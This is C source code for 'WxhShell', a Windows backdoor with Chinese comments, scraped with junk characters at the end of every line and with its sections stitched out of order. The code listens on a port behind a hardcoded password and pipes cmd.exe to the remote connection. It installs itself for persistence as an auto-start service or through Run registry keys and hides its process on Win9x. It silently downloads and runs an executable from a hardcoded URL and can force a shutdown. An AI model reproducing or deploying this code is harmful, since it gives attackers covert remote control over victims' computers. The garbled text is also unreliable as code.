    ExitThread(0); azCod1aL{  
    } m|by^40A(  
    break; yV4rS6=  
    } y$Rh$e K  
  // 获取shell Z !81\5  
  case 's': { bd$``(b`v  
    CmdShell(wsh); # 9@K  
    closesocket(wsh); lK2=[%,~  
    ExitThread(0); ZR[6-  
    break; )?$zY5  
  } :T9 P9<  
  // 退出 `P4 3O gA  
  case 'x': { />0 Bm`A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {yCE>F\  
    CloseIt(wsh); Ij{ K\{y  
    break; tso\bxiU  
    } t3VZjO  
  // 离开 n~mP7X%wE7  
  case 'q': { ,bRYqU?#0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VLP'3 qX  
    closesocket(wsh); Sdr,q9+__  
    WSACleanup(); e&\+o}S  
    exit(1); `D,mZj/b  
    break; }Nc Ed;  
        } ?`+G0VT  
  } TOge!Q>a  
  } |e+r|i]  
0/4"Jh$t  
  // 提示信息 cGUsao  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }xb?C""q^q  
} zPyN2|iFah  
  } ~R*01AnZ  
e9p!Caf~I-  
  return; Wi"3kps q  
} I*`;1+`  
%c-T Gr,  
// shell模块句柄 `#c36  
int CmdShell(SOCKET sock) JF6=0  
{ T$&vk#qr  
STARTUPINFO si; KfkU_0R+~v  
ZeroMemory(&si,sizeof(si)); vo!QJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9 .3?$(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6Q~(ibKx  
PROCESS_INFORMATION ProcessInfo; KGP*G BZr  
char cmdline[]="cmd"; LKsK!X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mrGfu:r  
  return 0; >MLP mER  
} D6vhW:t8?  
w^=uq3X?  
// 自身启动模式 M=t;t0  
int StartFromService(void) :\cid]y3  
{ qbq.r&F&  
typedef struct >E\U$}WCG  
{ "59"HVV  
  DWORD ExitStatus; ]x1o (~  
  DWORD PebBaseAddress; SFkB,)Z N  
  DWORD AffinityMask; $X ]t}=  
  DWORD BasePriority; XQI!G_\+C  
  ULONG UniqueProcessId; &S9O:>=*  
  ULONG InheritedFromUniqueProcessId; pp1kcrE\M  
}   PROCESS_BASIC_INFORMATION; \}EJtux q  
q!Q*T^-rO  
PROCNTQSIP NtQueryInformationProcess; 5}|bDJ$%_  
]wHXrB8vx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QqCwyK0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z1N=tL  
& oj$h  
  HANDLE             hProcess; kj]m@mS[  
  PROCESS_BASIC_INFORMATION pbi; du>d?  
2"pFAQBw~i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,UATT]>  
  if(NULL == hInst ) return 0; s#4Q?<65u  
%j. *YvveW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #QM9!k@9k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FC q&-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  BRF4 p:  
9}<iS w[  
  if (!NtQueryInformationProcess) return 0; l % 0c{E~  
0kxe5*-|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iM +p{ /bN  
  if(!hProcess) return 0; K [R.B!;N  
01">$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (RafidiH  
N D1'XCN  
  CloseHandle(hProcess); z:W|GDD1  
,#8H9<O9t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .-?Txkwb  
if(hProcess==NULL) return 0; fIii  
N/8_0]Gf  
HMODULE hMod; txFcV  
char procName[255]; aFd87'^  
unsigned long cbNeeded; Zd~Q@+sH  
E, ;'n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5.U4P<qS  
Mp_SL^g|  
  CloseHandle(hProcess); ^wW{7Uq>  
 E-L>.tD  
if(strstr(procName,"services")) return 1; // 以服务启动 KF}_|~~T  
?, oE_H  
  return 0; // 注册表启动 oA`G\Xh_E  
} -5u. Ix3  
PD`EtkUnv  
// 主模块 'da$i  
int StartWxhshell(LPSTR lpCmdLine) Ch7&9NW  
{ ds:&{~7L<T  
  SOCKET wsl; .s`7n *xz  
BOOL val=TRUE; U!i@XA%P  
  int port=0; $&KiN82,  
  struct sockaddr_in door; M <c cfU!  
>gZ"^iW  
  if(wscfg.ws_autoins) Install(); qLk7C0  
F ,h}HlU  
port=atoi(lpCmdLine); 2U rE>_  
XT{o ]S~nq  
if(port<=0) port=wscfg.ws_port; x>[f+Tc  
2^ kK2D$o  
  WSADATA data; YE[{Y(5;q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9YVr9BM'K  
@i=_y+|d_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F0tx.]uS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a~A"uLBR  
  door.sin_family = AF_INET; g<s;uRA4O9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0khAi|PY  
  door.sin_port = htons(port); drd5o Z  
uYMH5Om+i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =aCd,4B}  
closesocket(wsl); 4ad-'  
return 1; Tk:%YS;=  
} ~NB lJULS  
#waK^B)<a  
  if(listen(wsl,2) == INVALID_SOCKET) { n+w$'l  
closesocket(wsl); WlRaD%Q  
return 1; #(1R:z\:  
} `(VVb@:o  
  Wxhshell(wsl); S)W(@R+@4  
  WSACleanup(); cW?~]E'<  
Qo])A6$IU  
return 0; 3im2 `n  
)mE67{YJh~  
} mL]5Tnc  
eGi|S'L'  
// 以NT服务方式启动 Ep8 y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MUR Hv3  
{ Z.3*sp0 yv  
DWORD   status = 0; $##LSTA  
  DWORD   specificError = 0xfffffff; YfJQ]tt 1  
D~r{(u~Ya  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "= >8UR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _2rxDd1#.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;0;5+ J7  
  serviceStatus.dwWin32ExitCode     = 0; #r;uM+  
  serviceStatus.dwServiceSpecificExitCode = 0; Rkh ^|_<!  
  serviceStatus.dwCheckPoint       = 0; &C.m*^`^  
  serviceStatus.dwWaitHint       = 0; ?oulQR6:  
M<cm]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w_9[y  
  if (hServiceStatusHandle==0) return; +YnQOh%v0s  
J%lEyU  
status = GetLastError(); C:{&cIFrPe  
  if (status!=NO_ERROR) N7}y U~j^  
{ 'jjJ[16"d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1j\wvPLr  
    serviceStatus.dwCheckPoint       = 0; =8 01nZJ  
    serviceStatus.dwWaitHint       = 0; HRW }Yl  
    serviceStatus.dwWin32ExitCode     = status;  !AFii:#  
    serviceStatus.dwServiceSpecificExitCode = specificError; apd"p{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;1L7+.A  
    return; f$]ttU U  
  } u%rB]a$/  
S<nbNSu6+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ah|`),o(k  
  serviceStatus.dwCheckPoint       = 0; X:d[eAu0  
  serviceStatus.dwWaitHint       = 0; P(Z\y^S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ops""#Zi  
} @W\ H%VR  
, \R,O  
// 处理NT服务事件,比如:启动、停止 .q_SA-!w>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HFTDea+#  
{ TDY =!  
switch(fdwControl) '^~3 8=FA  
{ mBWhC<kKs  
case SERVICE_CONTROL_STOP: <7yn:  
  serviceStatus.dwWin32ExitCode = 0; sZYTpZgW4L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ng+Ge5C9  
  serviceStatus.dwCheckPoint   = 0; VIg=| Oe),  
  serviceStatus.dwWaitHint     = 0; Mp)|5<%  
  { #Q$`3rr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m`H9^w%W  
  } QliP9-im3  
  return; XaR(~2  
case SERVICE_CONTROL_PAUSE: g@IYD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9}Qrb@DT  
  break; 7kH GU  
case SERVICE_CONTROL_CONTINUE: KSy.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Eumdv#Qg  
  break; 5H |<h  
case SERVICE_CONTROL_INTERROGATE: Ll'!aar,  
  break; \'Ewn8Qv8  
}; iWMgU:T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dX ;G [\  
} H\ONv=}7I  
Y~uqKb;A  
// 标准应用程序主函数 v9+1[Y";  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $,#,yl ol  
{ ?,Zc{   
{#J1D*?$"  
// 获取操作系统版本 "RMvWuNt  
OsIsNt=GetOsVer(); Cd51. Sk(l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,Z p9,nf  
:R9 DJh\  
  // 从命令行安装 |,OTGZgc  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ehf3L |9   
6v9A7g;4.  
  // 下载执行文件 /dt'iai~l  
if(wscfg.ws_downexe) { e \ rb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @iD5X.c  
  WinExec(wscfg.ws_filenam,SW_HIDE); Rhil]|a/  
} NJTC+`Hm  
N~@VZbS(6  
if(!OsIsNt) { fE&wtw{gi  
// 如果时win9x,隐藏进程并且设置为注册表启动 8GFA}_(^R  
HideProc(); ZeY kZzN  
StartWxhshell(lpCmdLine); sKuPV  
} 7{:g|dX  
else 5N4[hQrVJ  
  if(StartFromService()) w-(^w9_e  
  // 以服务方式启动 V;SXa|,  
  StartServiceCtrlDispatcher(DispatchTable); x8wal[6  
else *) ?Fo  
  // 普通方式启动 ?5#=Mh#  
  StartWxhshell(lpCmdLine); 8/* 6&#-  
[Q*aJLG  
return 0; HOY9{>E}z  
} /"%QIy'{  
Il9pL~u  
F Wzf8*^  
C/je5  
=========================================== ~'2im[f J  
Nd.Tda!Kg  
1WMwTBHy+  
s(Tgv  
4yu ^cix(  
Q8 r 7  
" |xQq+e}l<  
M`kR2NCi  
#include <stdio.h> ,"!P{c  
#include <string.h> 6X.lncE@p  
#include <windows.h> !rMl" Y[  
#include <winsock2.h> 4$<-3IP,  
#include <winsvc.h> >4}2~;  
#include <urlmon.h> WxF rqUz  
%aeQL;# V  
#pragma comment (lib, "Ws2_32.lib") r` T(xJ!)  
#pragma comment (lib, "urlmon.lib") ET7(n0*P}]  
4?a!6  
#define MAX_USER   100 // 最大客户端连接数 2 !^[x~t  
#define BUF_SOCK   200 // sock buffer `X7ns?  
#define KEY_BUFF   255 // 输入 buffer M1f ^Lx  
v|v^(P,o  
#define REBOOT     0   // 重启 JV#)?/a$z  
#define SHUTDOWN   1   // 关机 H21\6 GY  
4f?Y'+>Z,  
#define DEF_PORT   5000 // 监听端口 +=bGrn>h  
fjAJys)Q  
#define REG_LEN     16   // 注册表键长度 Oy!j`  
#define SVC_LEN     80   // NT服务名长度 HLy}ta\  
 T8i9  
// 从dll定义API @BZ6{@*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "wPFQXU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "jUr[X2J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K$..#]\TM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B R-(@  
)2 P4EEs[  
// wxhshell配置信息 6QOdd 6_d  
struct WSCFG { y'<juaw  
  int ws_port;         // 监听端口 3=r8kh7,  
  char ws_passstr[REG_LEN]; // 口令 n_n0Q}du  
  int ws_autoins;       // 安装标记, 1=yes 0=no hC.7Z]  
  char ws_regname[REG_LEN]; // 注册表键名 <E|K<}W#  
  char ws_svcname[REG_LEN]; // 服务名 T$'GFA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?wR;"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wxg`[c$:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RJ_ratKN*g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <(Wa8PY2(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <M1XG7_I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g& *pk5V>  
X]Emz"   
}; 3?vasL  
QJ ueU%|  
// default Wxhshell configuration <~}t;ji  
struct WSCFG wscfg={DEF_PORT, 4C ;4"6  
    "xuhuanlingzhe", !j)H !|R  
    1, lq$1CI  
    "Wxhshell", xi=qap=S^9  
    "Wxhshell", O\ T  
            "WxhShell Service", r'p;Nj.  
    "Wrsky Windows CmdShell Service", ,0#5kc*X  
    "Please Input Your Password: ", 26E"Ui5q  
  1, .d5|Fs~B  
  "http://www.wrsky.com/wxhshell.exe", gnoV>ON0  
  "Wxhshell.exe" W.ud<OKP90  
    }; b\ %=mN  
]rDf3_!m(  
// 消息定义模块 h@72eav3+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G^F4c{3c~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FhZ&^.:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W9?Yzl  
char *msg_ws_ext="\n\rExit."; PiZt?r?5w|  
char *msg_ws_end="\n\rQuit."; hgE!) UE  
char *msg_ws_boot="\n\rReboot..."; 1WPDMLuN  
char *msg_ws_poff="\n\rShutdown..."; }`$:3mb&f  
char *msg_ws_down="\n\rSave to "; <,l&),  
| %af}# FQ  
char *msg_ws_err="\n\rErr!"; q0 :Lb  
char *msg_ws_ok="\n\rOK!"; \K)"@gdW  
Ho?+?YJ#P  
char ExeFile[MAX_PATH]; WIo^=?%  
int nUser = 0; 1{%EQhNd  
HANDLE handles[MAX_USER]; ,LXuU8sB  
int OsIsNt; &tKs t,UR8  
<}%>a@  
SERVICE_STATUS       serviceStatus; &j/ WjZPF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MjG=6.J|`  
Y$EqBN  
// 函数声明 RC8{QgaI  
int Install(void); *&B*/HAN  
int Uninstall(void); :x97^.eW~  
int DownloadFile(char *sURL, SOCKET wsh); GljxYH"]#  
int Boot(int flag); 0K, *FdA  
void HideProc(void); 0z."6 r  
int GetOsVer(void); J W&/l  
int Wxhshell(SOCKET wsl); >.PLD} zE_  
void TalkWithClient(void *cs); Q/iaxY#  
int CmdShell(SOCKET sock); mqk~Pno|<  
int StartFromService(void); / MSz{ %v  
int StartWxhshell(LPSTR lpCmdLine); {t[j>_MYw  
?N#mD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @4h .?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IBU(Hm1,  
m4ovppC  
// 数据结构和表定义 'oHtg @  
SERVICE_TABLE_ENTRY DispatchTable[] =  KEsMes(*  
{ ~,Q+E8  
{wscfg.ws_svcname, NTServiceMain}, _U$d.B'*)z  
{NULL, NULL} !O)Ruwy  
}; !$St=!  
gyieSXz[  
// 自我安装 FgRlxz  
int Install(void) YmHn*N}:U  
{ DI9x] CR  
  char svExeFile[MAX_PATH]; HPp Kti7g  
  HKEY key; Aa.bE,W  
  strcpy(svExeFile,ExeFile); V_!hrKkL  
Gy 'l;2  
// 如果是win9x系统,修改注册表设为自启动 1c,$D5#  
if(!OsIsNt) { ,g{`M]Ov  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TH)gW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G F,/<R#  
  RegCloseKey(key); G[6V=G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1I KDp]SN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A;w,m{9<  
  RegCloseKey(key); 'HkV_d[li  
  return 0; cy?u *  
    } Revc :m1o  
  } M'HmVg4'  
} hp,bfcM  
else { Eti;(>"@  
G(|ki9^@"9  
// 如果是NT以上系统,安装为系统服务 {DBgW},  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); . 5|wy<  
if (schSCManager!=0) E@R7b(:*  
{ -GCGxC2u  
  SC_HANDLE schService = CreateService >&e|ins^N  
  ( W:b8m Xx  
  schSCManager, <;+&`R  
  wscfg.ws_svcname, N4}/n  
  wscfg.ws_svcdisp, Z|uUE   
  SERVICE_ALL_ACCESS, \8=>l?P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vz,l{0 v  
  SERVICE_AUTO_START, .'p_j(uv  
  SERVICE_ERROR_NORMAL, <y\>[7Y  
  svExeFile, Cz Jze  
  NULL, {Aj}s3v  
  NULL, %ztCcgu*  
  NULL, JpD<2Mz_|V  
  NULL, lz faW-nu  
  NULL zOCru2/  
  ); -JaC~v(0  
  if (schService!=0) tV@!jaj\  
  { 7 \!t/<  
  CloseServiceHandle(schService); C* b!E:  
  CloseServiceHandle(schSCManager); zy8W8h(?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U=QV^I Qm  
  strcat(svExeFile,wscfg.ws_svcname); =5oE|F%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,S2D/Y^>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H{E223  
  RegCloseKey(key); d5\w'@Di  
  return 0; c@~\ FUr  
    } 7z)Hq./3@  
  } BE:HO^-.1  
  CloseServiceHandle(schSCManager); ; GRSe  
} #)tt}GX  
} 7*M+bZ`x  
ckBcwIXlP&  
return 1; 8U*}D~%!  
} siZw-.  
X.}:gU-  
// 自我卸载 O2us+DhQ  
int Uninstall(void) lSUEE0V%Q  
{ J p!Q2}  
  HKEY key; VjBV2x  
PiMh]  0  
if(!OsIsNt) { #Fl "#g$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H@qA X  
  RegDeleteValue(key,wscfg.ws_regname); b/Z=FS2T  
  RegCloseKey(key); t`o-HWfS.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xD,BlDV  
  RegDeleteValue(key,wscfg.ws_regname); "b8<C>wY  
  RegCloseKey(key); z^T/kK3I  
  return 0; :&HrOdz  
  } _)yn6M'Dt  
} vXAO#'4tm%  
} 6UG7lH!M  
else { 7MZBU~,r  
[DC8X P5 <  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?V4?r2$c  
if (schSCManager!=0) SHOg,#mV  
{ DFQp<Eq]7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >_jT.d  
  if (schService!=0) JZNRMxu  
  { 7$b!-I+ a2  
  if(DeleteService(schService)!=0) { BRPvBs?Q,{  
  CloseServiceHandle(schService); s% 2w&Us*  
  CloseServiceHandle(schSCManager); IKMkpX!]  
  return 0; R7r` (c!  
  } HJo&snT3  
  CloseServiceHandle(schService); :$~)i?ge<5  
  } Jajo!X*Wai  
  CloseServiceHandle(schSCManager); }KEyJj3"DA  
} b lP@Cn2  
} |,c QJ  
Fo=Icvo  
return 1; g'ha7~w(p  
} s3>,%8O6  
] +<[D2f  
// 从指定url下载文件 R?b3G4~  
int DownloadFile(char *sURL, SOCKET wsh) 1N{}G$'Go  
{ 5 >S #ew  
  HRESULT hr; =&;orP  
char seps[]= "/"; ]B/Gz  
char *token;  s!X@ l  
char *file; 0?8O9i  
char myURL[MAX_PATH]; NGcd  
char myFILE[MAX_PATH]; P$ZIKkf  
h.d-a/  
strcpy(myURL,sURL); y3 {'s>O6  
  token=strtok(myURL,seps); r: ]t9y>$<  
  while(token!=NULL) HT0VdvLw  
  { thy)J.<J  
    file=token; sG[v vm  
  token=strtok(NULL,seps); ``$Dgj[  
  } E #q gt9  
8[\F*H  
GetCurrentDirectory(MAX_PATH,myFILE); Yj3j?.JJk  
strcat(myFILE, "\\"); /'k4NXnW3  
strcat(myFILE, file); [-5%[ty9X  
  send(wsh,myFILE,strlen(myFILE),0); Sio^FOTD  
send(wsh,"...",3,0); AiKja>Fl<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v._Q XcE  
  if(hr==S_OK) kH/u]+_  
return 0; W/DSj :  
else y.PWh<dI  
return 1; }K':tX?  
Q#w mS&$f  
} &YC Z L  
h_#x@p  
// 系统电源模块 }%Mj`Bh  
int Boot(int flag) W^#HR  
{ {9:[nqX  
  HANDLE hToken; B3|h$aKC  
  TOKEN_PRIVILEGES tkp; O{b<UP'85  
sA$x2[*O  
  if(OsIsNt) { 6a6;]lsG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sdN@ZP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cCx@VT`0  
    tkp.PrivilegeCount = 1; +yYxHIOZ(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OH.^m6Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9 Rl-Jz8g  
if(flag==REBOOT) { B=14 hY@`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T'_#Dwmj*  
  return 0; =h5&:?X  
} g~E N3~  
else { 7X 4/6]*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s8BfOl-  
  return 0; &CBW>*B  
} >f+qImH  
  } NZT2ni4  
  else { WV5z~[  
if(flag==REBOOT) { #J=^CE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v~E\u  
  return 0; )S?.YCv?  
} 6d~[j <@2  
else { N{+6V`\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :&SvjJR  
  return 0; p G|-<6WY  
} ~EIK  
} z`g4<  
TwPp Z@  
return 1; T:FaD V{  
} )/4eT\=  
a(.q=W  
// win9x进程隐藏模块 &[ oW"Q{  
void HideProc(void) cft/;A u{  
{ 'O>p@BEK  
55O_b)$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <MK4# I1I  
  if ( hKernel != NULL ) +vf~s^  
  { ;OC~,?O5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oZ]^zzoEcg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v7-z<'?s~  
    FreeLibrary(hKernel); $-^ ;Jl  
  } LV}Z[\?   
ohEIr2  
return; F:$*0!  
} Dh+<|6mx  
z`]sWi F0  
// 获取操作系统版本 QC\r|RXW  
int GetOsVer(void) #su R[K*S  
{ Z$*m=]2  
  OSVERSIONINFO winfo; 813t=A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GN1Q\8)o  
  GetVersionEx(&winfo); MS5X#B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Yt]Y(  
  return 1; d.e_\]o<@  
  else N[=c|frho  
  return 0; K&"ZZFd_  
} itYTV?bd  
]v2%hX  
// 客户端句柄模块 cG)U01/"  
int Wxhshell(SOCKET wsl) C>NLZM T  
{ F)8M9%g5m  
  SOCKET wsh; shk yN  
  struct sockaddr_in client; g9~QNA  
  DWORD myID; >DM^/EAG{  
iQd,xr  
  while(nUser<MAX_USER) ^7Z#g0{^w  
{ 2I[(UMI$7  
  int nSize=sizeof(client); z:1"d R   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7&`Yl[G  
  if(wsh==INVALID_SOCKET) return 1; c`Q#4e]%_  
z(!K8 T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O'rz  
if(handles[nUser]==0) ,gO(zI-1  
  closesocket(wsh); O[Yc-4  
else F_I.=zQr  
  nUser++; \+Nn>wW.  
  } X_HU?Q_N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :DG7Z  
[AHoTlPZ  
  return 0; R4_BP5+  
} d DrzO*a\  
q<XleC  
// 关闭 socket f]4j7K!e]  
void CloseIt(SOCKET wsh) r}S>t~p:  
{ j^5VmG  
closesocket(wsh); byJR6f  
nUser--; mYx6JU*`  
ExitThread(0); b[U;P=;=  
} B;64(Vsa8  
2}uSrA7n]  
// 客户端请求句柄 2rGg  
void TalkWithClient(void *cs) 4k_y;$4WN  
{ % <1&\5f<5  
g0-~ %A,  
  SOCKET wsh=(SOCKET)cs; <Z j>}  
  char pwd[SVC_LEN]; @ JfQ}`  
  char cmd[KEY_BUFF]; 'O^<i`8U]  
char chr[1]; *";O_ :C!  
int i,j; k0bDEz.X  
1v~1?+a\2  
  while (nUser < MAX_USER) { dy.U;  
.Lm0$o*`  
if(wscfg.ws_passstr) { ){<qp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  9dCf@5]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Uz_OUTFM  
  //ZeroMemory(pwd,KEY_BUFF); G,X>f?  
      i=0; 2cQG2N2*  
  while(i<SVC_LEN) { ,p' ;Xg6ez  
ubs>(\`q"  
  // 设置超时 ]KM3G  
  fd_set FdRead; RI2/hrW  
  struct timeval TimeOut; =#T3p9  
  FD_ZERO(&FdRead); (`"87Xomnn  
  FD_SET(wsh,&FdRead); U|~IJU3-  
  TimeOut.tv_sec=8; !g[UFw  
  TimeOut.tv_usec=0; LjySO2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kInU,/R*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kXN8hU}iq  
R ~?9+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yvCX is  
  pwd=chr[0]; \AOHZ r  
  if(chr[0]==0xd || chr[0]==0xa) { \R[f< K%  
  pwd=0; ,1 ^IFBJ  
  break; K3^2;j1F Q  
  } LEd@""h  
  i++; Gp0yRT.  
    } cT|aQM@iW  
:>-&  
  // 如果是非法用户,关闭 socket 7-Mm+4O9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }B`T%(11=  
} !B/5@P  
%7A?gY81  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [_-[S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GK&R,q5}  
ih=O#f|  
while(1) { 3H`r|R  
gxc8O).5vY  
  ZeroMemory(cmd,KEY_BUFF); "ph[)/u;  
)v+\1  
      // 自动支持客户端 telnet标准   UT%?3}*u"  
  j=0; .#{m1mr  
  while(j<KEY_BUFF) { xM:9XhH1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O ]!/fZ;(  
  cmd[j]=chr[0]; y_M,p?]^,  
  if(chr[0]==0xa || chr[0]==0xd) { P?|>, \t  
  cmd[j]=0; ,uL}O]L  
  break; .cK<jF@'  
  } =`g@6S  
  j++; x"~gulcz  
    } *?~&O.R"  
]--" K{  
  // 下载文件 TFO4jjiC"  
  if(strstr(cmd,"http://")) { ! i8'gq'q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <O3,b:vw  
  if(DownloadFile(cmd,wsh)) (5GjtFojY|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); " +A8w  
  else om{aws;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o&RNpP*  
  } O4oI&i 7  
  else { YSr u5Q  
' 1D1y'  
    switch(cmd[0]) { j/, I)Za  
  h| N!U/(U  
  // 帮助 q|QkJr <  
  case '?': { J3y4 D}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <_#a%+5d  
    break; }CQ)W1mO"  
  } .$zo_~ mR  
  // 安装 g|<$ \}  
